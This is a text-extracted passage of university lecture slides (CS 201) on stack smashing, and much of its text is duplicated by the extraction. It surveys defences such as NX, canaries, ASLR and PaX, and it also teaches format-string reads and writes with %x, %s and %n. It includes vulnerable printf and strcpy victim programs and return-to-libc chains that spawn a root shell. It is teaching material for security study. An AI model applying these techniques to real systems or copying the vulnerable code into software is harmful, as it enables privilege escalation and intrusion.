Maximum string length must *always* be specified Automatic string truncation if limits are reached

Hardware-based memory protection Hardware execution permission bits to ensure data could not be directly

executed» x86 has some support in its handling of segmentation but most OS

implementations do not use it» x86-64 now includes “NX” bit

Stack grows towards positive addresses» Return address stored “below”» Overflow writes unused portion of stack and never reaches return

address

Why did Multics fail?Why did Multics fail? Earl Boebert (quoting Rich Hall) USENIX Security 2004 Economics of being first-to-market with flawed designs

“Crap in a hurry”

Page 51: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 51 –

Better code

Search and replace bad code: grep *.c strcpySearch and replace bad code: grep *.c strcpy

int main( char *argc, char *argv[] ) {int main( char *argc, char *argv[] ) {

char buffer[500];char buffer[500];

strcpystrcpy( buffer, argv[1] );( buffer, argv[1] );

return 0;return 0;

}}

Hardware supportNX bitNX bit

No-eXecute bits to mark memory pages such as the stack that should not include instructions.

Page 52: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 52 –

No-execute regions

Use segment size limits to emulate page table execute Use segment size limits to emulate page table execute permission bitspermission bits Generalized form of SolarDesigner’s no-exec stack patch Cover other areas as well as stack Kernel keeps track of maximum executable address “exec-

limit”Process-dependent

Remap all execute regions to “ASCII armor”Remap all execute regions to “ASCII armor” Contiguous addresses at beginning of memory that have

0x00 (no string buffer overruns) 0x0 to 0x01003fff (around 16MB) Stack and heap are non-executable as result

Page 53: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 53 –

Compiler tricks

Return address

Canary Value

Old base pointer (Saved Frame Pointer)

Local Variables

Stack grows high to low

F’n args

StackGuardStackGuard Adds code to insert a canary

value into the stack for each function call

Checks that canary is intact before returning from a function call

Canary is randomized every time program is run

Contains a NULL byte to prevent buffer overruns past the return address

Page 54: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 54 –

Address Space Layout RandomizationOperating systems and loaders employed deterministic layoutOperating systems and loaders employed deterministic layout

Allowed stack overflows to “guess” what to use for return address Randomizing stack location makes it hard to guess insertion point

Can be applied to entire memory spaceCan be applied to entire memory space Main executable code/data/bss segments brk() managed memory (heap) mmap() managed memory (libraries, heap, shared memory) User/kernel/thread stacks

Now standard option in many operating systemsNow standard option in many operating systems Windows Vista Linux 2.4.21 and beyond Must be used in conjunction with PIE (Position Independent

Executables) GNU Compiler extension for ELF executables that allow binaries to be

locatable anywhere in address space

Page 55: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 55 –

Other randomization techniques

Randomize locations of global variablesRandomize locations of global variables

Randomize stack framesRandomize stack frames Pad each stack frame by random amount Assign new stack frames a random location (instead of next

contiguous location)Treats stack as a heap and increases memory management

overhead

System call randomizationSystem call randomization Works for systems compiled from scratch

Page 56: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 56 –

Other randomization techniques

Instruction set randomizationInstruction set randomization Method

Every running program has a different instruction set.Prevent all network code-injection attacks“Self-Destruct”: exploits only cause program crash

Encode (randomize)During compilationDuring program load

DecodeHardware (e.g. Transmeta Crusoe)EmulatorBinary-binary translation (Valgrind)

Overhead makes it impractical

Page 57: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 57 –

References

Hacking – the Art of Exploitation by Jon EricksonHacking – the Art of Exploitation by Jon Erickson

S. Forrest, A. Somayaji, and D. Ackley. "Building Diverse Computer S. Forrest, A. Somayaji, and D. Ackley. "Building Diverse Computer Systems", HotOS (1997). paperSystems", HotOS (1997). paper

PaX Team, "Documentation for the PaX project", PaX Team, "Documentation for the PaX project", http://pax.grsecurity.net/docs/index.htmlhttp://pax.grsecurity.net/docs/index.html

A. van de Ven, "New Security Enhancements in Red Hat Enterprise A. van de Ven, "New Security Enhancements in Red Hat Enterprise Linux v. 3, update 3", Linux v. 3, update 3", http://www.redhat.com/f/pdf/rhel/WHP0006US_Execshield.pdfhttp://www.redhat.com/f/pdf/rhel/WHP0006US_Execshield.pdf

G. Kc, A. Keromytis, and V. Prevelakis “Countering Code-Injection G. Kc, A. Keromytis, and V. Prevelakis “Countering Code-Injection Attacks With Instruction-Set Randomization” CCS October Attacks With Instruction-Set Randomization” CCS October 2003.2003.

E. Barrantes, D. Ackley, S. Forrest, T. Palmer, D. Stefanovic and D. E. Barrantes, D. Ackley, S. Forrest, T. Palmer, D. Stefanovic and D. Zovi, “Randomized instruction set emulation to disrupt binary Zovi, “Randomized instruction set emulation to disrupt binary code injection attacks”, CCS October 2003.code injection attacks”, CCS October 2003.

Page 58: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 58 –

CS 201

Format string vulnerabilitiesReturn-to-libc

Page 59: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 59 –

Printf hacks

printf: C formatted output functionprintf: C formatted output function

Relatives: sprintf, fprintf, saprintf, snprintf, vsprintf, vprintf, vfprintf, etc…..Relatives: sprintf, fprintf, saprintf, snprintf, vsprintf, vprintf, vfprintf, etc…..

int x = 42;int x = 42;

printf( “The value of X is, %d.\n”, x );printf( “The value of X is, %d.\n”, x );

>> The value of X is 42.>> The value of X is 42.

Valuable observation: Mixes control codes and data! Whee, room for Valuable observation: Mixes control codes and data! Whee, room for malware!malware!

Page 60: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 60 –

Our printf victim

Naïve program:Naïve program:

int main( int argc, char *argv[] ) {int main( int argc, char *argv[] ) {

printf( argv[1] );printf( argv[1] );

return 0;return 0;

}}

Unvalidated input! Time to stick in some malware!Unvalidated input! Time to stick in some malware!

Page 61: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 61 –

printf’s stack

printf argument 1

Pointer to format string

Return address

old base pointer

Stack grows high to low

size of a word (e.g. 4 bytes)

printf argument 2

printf( “%d %d”, arg1, arg2 );

local variables…

Page 62: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 62 –

Reading memory with printf

printf argument 1

Pointer to format string

Return address

old base pointer

Stack grows high to low

printf argument 2

Format specifier: %.8x – Print unsigned int

Can use this simple formatting to read off the values on the stack

int main(int argc, char *argv[]){printf( argv[1] );return 0;

}

$ ./printf %.8x.%.8x.%.8x%.8x%.8x.%.8x.%.8x%.8x.%.8x.%.8x%.8x.%.8x

61009d63.610097c0.00000000.0022ff40.61007549.00000002.615a06f4.0a010288.0022ff24.00000000.00000000.00000003

local variables…

Page 63: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 63 –

printf parameter access

Little-known printf format specifier:Little-known printf format specifier:

Can choose which parameter you reference!Can choose which parameter you reference!

printf(“%5$d %2$d”, 10, 20, 30, 40, 50, 60, 70, 80, 90);printf(“%5$d %2$d”, 10, 20, 30, 40, 50, 60, 70, 80, 90);

>> 50 20>> 50 20

So now we can access any parameter down the stack!So now we can access any parameter down the stack!

Page 64: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 64 –

Feeding yourself addresses%s%s format specifier format specifier

String format -> Takes an address, and prints it outString format -> Takes an address, and prints it out

char *pointer_to_string = “hello”;char *pointer_to_string = “hello”;

printf( “%s”, pointer_to_string );printf( “%s”, pointer_to_string );

>> hello>> hello

What can we do with this?What can we do with this?

Page 65: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 65 –

Feeding yourself addressesLooking at our victim code….Looking at our victim code….

int main( int argc, char *argv[] ) {int main( int argc, char *argv[] ) {

printf( argv[1] );printf( argv[1] );

return 0;return 0;

}}

So we can feed in values in our format string since it’s on the stack.So we can feed in values in our format string since it’s on the stack.

What does this mean?What does this mean?

We can now read from arbitrary addresses with %s!We can now read from arbitrary addresses with %s!

These values are stored on the These values are stored on the stack!stack!

Page 66: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 66 –

Writing memory

Another Little-known printf format specifier:Another Little-known printf format specifier:

Can write values with %n (number of characters written so far)Can write values with %n (number of characters written so far)

printf(“hello%n”, &my_int);printf(“hello%n”, &my_int);

printf(“%d”, my_int);printf(“%d”, my_int);

>> hello5>> hello5

So we can write small values into memory! (limited by length of our formatted output)So we can write small values into memory! (limited by length of our formatted output)

Using the trick of feeding ourselves addresses, we can write anywhere in memory Using the trick of feeding ourselves addresses, we can write anywhere in memory now!now!

Page 67: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 67 –

Writing large numbers

But what if we want to write large numbers? Like POINTERS.But what if we want to write large numbers? Like POINTERS.

Multiple, staggered writes, 1 byte at a time. Suppose we can write values 0-255 with Multiple, staggered writes, 1 byte at a time. Suppose we can write values 0-255 with no problem.no problem.

32-bit value 0x?? -> Little endian memory: ?? 00 00 0032-bit value 0x?? -> Little endian memory: ?? 00 00 00

Eg. Eg.

32-bit value 0x1A -> Little endian memory: 1A 00 00 0032-bit value 0x1A -> Little endian memory: 1A 00 00 00

Break it up into 4 1-byte writes.Break it up into 4 1-byte writes.

Page 68: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 68 –

Writing large numbers

Example: Suppose we want to write 0xAABBCCDD into memory address Example: Suppose we want to write 0xAABBCCDD into memory address 0x10000000.0x10000000.

MemoryMemory XX XX XX XXXX XX XX XX Address Address

First WriteFirst WriteAA 00 00 00AA 00 00 00 0x10000000 0x10000000

Second WriteSecond Write BB 00 00 00 BB 00 00 00 0x10000001 0x10000001

Third WriteThird Write CC 00 00 CC 00 00 0000 0x10000002 0x10000002

Fourth WriteFourth Write DD 00 00 00 DD 00 00 00 0x10000003 0x10000003

ResultResult AA BB CC DDAA BB CC DD

Page 69: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 69 –

What’s handy about printf

- Can get around all the no-execute flags on memory, since there’s no - Can get around all the no-execute flags on memory, since there’s no execution code…execution code…

- Can read and write anywhere we want to from memory- Can read and write anywhere we want to from memory

Another trick in our handy arsenal of hacker weapons…Another trick in our handy arsenal of hacker weapons…

But how to use this in getting us a shell? .. More in a bit..But how to use this in getting us a shell? .. More in a bit..

Page 70: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 70 –

Printf Protection

Good programming practice:Good programming practice:

Don’t ever do:Don’t ever do: printf( my_variable ); printf( my_variable );

Use:Use: printf( “%s”, my_variable );printf( “%s”, my_variable );

Format Guard:Format Guard:

- Special compiler- Special compiler

- encodes parameters at compile time- encodes parameters at compile time

- Can’t change the format at runtime- Can’t change the format at runtime

- Can have trouble with localized binaries, which have dynamically changing - Can have trouble with localized binaries, which have dynamically changing stringsstrings

Page 71: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 71 –

Return to libc

Idea:Idea:

- We (the attacker) can manipulate the stack.- We (the attacker) can manipulate the stack.

- The system may be clever, and not allow us to execute code on the stack.- The system may be clever, and not allow us to execute code on the stack.

- So… Let’s exploit existing code, called with our arguments- So… Let’s exploit existing code, called with our arguments

- libc is an attractive target, because it has very powerful functions, and is - libc is an attractive target, because it has very powerful functions, and is linked to by almost everythinglinked to by almost everything

(libc is the standard C library)(libc is the standard C library)

Page 72: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 72 –

Return to libc

How do we jump to libc code?How do we jump to libc code?

- Same as any buffer overflow exploit – overwrite a return address on - Same as any buffer overflow exploit – overwrite a return address on the stack.the stack.

How do we figure out where to jump to?How do we figure out where to jump to?

- A libc function is always in the same place on a single system. Can figure - A libc function is always in the same place on a single system. Can figure out where it is by writing a simple test program, or using gdb.out where it is by writing a simple test program, or using gdb.

Page 73: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 73 –

Return to libc

libc functions are called just like any other functionlibc functions are called just like any other function

- push arguments on the stack- push arguments on the stack

- push your return address onto the stack- push your return address onto the stack

- call the function- call the function

Since we’re exploiting a buffer overflow, this will appear on our stackSince we’re exploiting a buffer overflow, this will appear on our stack

Stack grows high to low

Functionaddress

Functionreturn addr

Arg1 Arg2 Arg3…

Page 74: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 74 –

Spawning a shell system()

Suppose we want to call system(“/bin/sh”) to drop our shell. It might look like Suppose we want to call system(“/bin/sh”) to drop our shell. It might look like this this

Since we’re exploiting a buffer overflow, this will appear on our stack…Since we’re exploiting a buffer overflow, this will appear on our stack…

(return addr is not important)(return addr is not important)

Stack grows high to low

system()address

returnaddr

pntr tostring

“/bin/sh”

Page 75: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 75 –

Spawning a shell system()

This drops a shell, but not a root shell.This drops a shell, but not a root shell.

Why? Have to setuid(0,0) self! Otherwise system() will drop our priveleges.Why? Have to setuid(0,0) self! Otherwise system() will drop our priveleges.

What to do?What to do?

Stack grows high to low

system()address

returnaddr

pntr tostring

“/bin/sh”

Page 76: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 76 –

Chaining return to libc calls

Need to call setuid(0,0) and then system(“/bin/sh).Need to call setuid(0,0) and then system(“/bin/sh).

Idea: Set the return address for when we call setuid() so when setuid() Idea: Set the return address for when we call setuid() so when setuid() returns, it jumps to system(). Clever!returns, it jumps to system(). Clever!

Stack grows high to low

setuid()address

system()addr

setuid()arguments

system()arguments

Page 77: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 77 –

Chaining setuid() & system()

Still one tragic flaw (hamartia)Still one tragic flaw (hamartia)

- setuid(0,0) has null bytes. We can’t write nulls if we’re doing a buffer - setuid(0,0) has null bytes. We can’t write nulls if we’re doing a buffer overflow exploit.overflow exploit.

What else can we do?What else can we do?

- Observation: execl(“/bin/sh”, “/bin/sh”, 0 ) can spawn root shell, without - Observation: execl(“/bin/sh”, “/bin/sh”, 0 ) can spawn root shell, without dropping out privileges.dropping out privileges.

- But it still has the “writing a null byte” problem- But it still has the “writing a null byte” problem

Page 78: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 78 –

Printf to the rescue

Recall:Recall:

- If we have access to the buffer, we can use printf to read and write - If we have access to the buffer, we can use printf to read and write arbitrary data to arbitrary addresses.arbitrary data to arbitrary addresses.

- Idea: Use printf() to write the nulls we need for us!- Idea: Use printf() to write the nulls we need for us!

- So: Chain printf() and execl()- So: Chain printf() and execl()

Page 79: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 79 –

Chaining return to libc calls

Printf() executes and constructs the arguments we need for execl().Printf() executes and constructs the arguments we need for execl().

Printf() completes, and returns to execl() which now has proper arguments Printf() completes, and returns to execl() which now has proper arguments for spawning /bin/shfor spawning /bin/sh

We get our root shell.We get our root shell.

Victory dance!Victory dance!

Stack grows high to low

printf()address

execl()addr

printf()arguments

execl()arguments

Page 80: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 80 –

Defending return-to-libc

Problems:Problems:

- Especially brittle if we’re not sure where we are in memory- Especially brittle if we’re not sure where we are in memory

Defences:Defences:

- Randomizing pointers will help- Randomizing pointers will help

- Canary values prevent buffer overflows- Canary values prevent buffer overflows

- Eliminate strcpy’s- Eliminate strcpy’s

Page 81: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 81 –

Extra slides

Page 82: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 82 –

What if…?

What if the stack grew from low addresses to high addresses? Wouldn’t this What if the stack grew from low addresses to high addresses? Wouldn’t this eliminate buffer overflow addresses, since we couldn’t write over the eliminate buffer overflow addresses, since we couldn’t write over the return address?return address?

Well. No. If you think about strcpy(), there’s a return address on both sides Well. No. If you think about strcpy(), there’s a return address on both sides of the buffer.of the buffer.

int main( char *argc, char *argv[] ) {int main( char *argc, char *argv[] ) {

char buffer[500];char buffer[500];

strcpy( buffer, argv[1] );strcpy( buffer, argv[1] );

return 0;return 0;

}}

Page 83: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 83 –

PAGEEXEC

Non-executable page feature using paging logic of IA-32 Non-executable page feature using paging logic of IA-32 CPUsCPUs Need hack since IA-32 MMU doesn't support execution

protection in hardware yet Use split TLB for code/data in Pentium CPUs

Software control of ITLB/DTLB loadingMark all non-executable pages as either not present (causing a

page fault) or requiring supervisor level access (overload no-exec with supervisor mode)

Modify page fault handler accordingly to terminate task

Page 84: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 84 –

SEGMEXEC

Implement non-executable pages via segmentation logic Implement non-executable pages via segmentation logic of IA-32of IA-32 Split 3GB userland address space into half Define data segment descriptor to cover one half Define code segment descriptor to cover other half Need mirroring since executable mappings can be used for

data accessesPlace copies of executable segments within data rangeInstruction fetching from data space will end up in code

segment address space and raise a page faultPage fault handler can terminate task

Page 85: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 85 –

MPROTECT

Prevent introduction of new executable code into Prevent introduction of new executable code into address space via restrictions on mmap() and address space via restrictions on mmap() and mprotect()mprotect() Prevent the following

Creation of anonymous mappingsCreation of executable/writable file mappingsMaking an executable/read-only file mapping writable except for

performing relocations on an ET_DYN ELF fileMaking a non-executable mapping executable

Page 86: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 86 –

RANDUSTACK

Randomize user stack on task creationRandomize user stack on task creation exec.c: do_execve()

Randomize bits 2-11 (4kB shift)

setup_arg_pages()Randomize bits 12-27 (256MB shift) for copying previously

populated physical stack pages into new task's address space

create_elf_tables()Aligns stack pointer on 16-byte boundary (throws away

randomization in bits 2-3Result is bits 4-27 randomized

Page 87: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 87 –

RANDKSTACK

Randomizes every task's kernel stack pointer before Randomizes every task's kernel stack pointer before returning from a system call to userlandreturning from a system call to userland Two pages of kernel stack allocated to each task Used whenever task enters kernel Kernel land stack pointer will always end up at the point of

the initial entry to the kernel Attack against kernel bug from userland could rely on this Entropy from rdtsc() applied to bits 2-6 (128 byte shift)

Page 88: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 88 –

RANDMMAP/RANDEXEC

Randomness into memory regions of do_mmap() Randomness into memory regions of do_mmap() kernel interfactkernel interfact All file and anonymous mappings Main executable of ET_DYN type, libraries, brk() and

mmap() heaps Need big memory hole Randomize bits 12-27

Randomness into main executableRandomness into main executable Main executable of ET_EXEC type Use of absolute addresses Must provide a file mapping of ET_EXEC file at original

base address Mirror executable regions

Page 89: CS 201 Stack smashing. – 2 – Stack smashing (buffer overflow) One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided.

– 89 –

Segment limits

Code

Data

BSS

Heap

Code

Data

BSS

Stack

Ptr to Args & Env

Arguments

Environment

Code

Data

BSS

start address = 0x0

0x4000000

New binary

Program interpreter (ld.so)

start_stack

0xC0000000

Executable

Non- Executable